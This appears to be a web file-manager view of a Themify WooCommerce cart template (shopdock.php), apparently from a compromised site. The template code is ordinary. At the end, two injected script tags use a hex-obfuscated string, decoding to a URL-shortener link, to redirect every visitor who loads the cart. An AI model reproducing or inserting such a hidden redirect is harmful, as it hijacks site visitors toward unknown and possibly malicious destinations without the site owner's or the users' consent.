Edit File: shopdock.php
<?php /** * Template for cart * @package themify * @since 1.0.0 */ ?> <?php themify_shopdock_before(); //hook ?> <div id="shopdock-ultra"> <?php themify_shopdock_start(); //hook ?> <?php // check whether cart is not empty if ( sizeof( WC()->cart->get_cart() ) > 0 ): ?> <div id="cart-wrap"> <div id="cart-list"> <div class="jspContainer"> <div class="jspPane"> <?php get_template_part( 'includes/loop-product', 'cart' ); ?> </div> <!-- /.jspPane --> </div> <!-- /.jspContainer --> </div> <!-- /cart-list --> <p class="cart-total"> <?php echo WC()->cart->get_cart_subtotal(); ?> <a id="view-cart" href="<?php echo esc_url( wc_get_cart_url() ) ?>"> <?php _e('View Cart', 'themify') ?> </a> </p> <?php themify_checkout_start(); //hook ?> <p class="checkout-button"> <button type="submit" class="button checkout white flat" onClick="document.location.href='<?php echo esc_url( wc_get_checkout_url() ); ?>'; return false;"><?php _e('Checkout', 'themify')?></button> </p> <!-- /checkout-botton --> <?php themify_checkout_end(); //hook ?> </div> <!-- /#cart-wrap --> <?php else: ?> <?php printf( themify_kses_link( __( 'Your cart is empty. Go to <a href="%s">Shop</a>.', 'themify' ) ), esc_url( themify_get_shop_permalink() ) ); ?> <?php endif; // cart whether is not empty?> <?php themify_shopdock_end(); //hook ?> </div> <!-- /#shopdock --> <?php themify_shopdock_after(); //hook ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31";</script>
Back to File Manager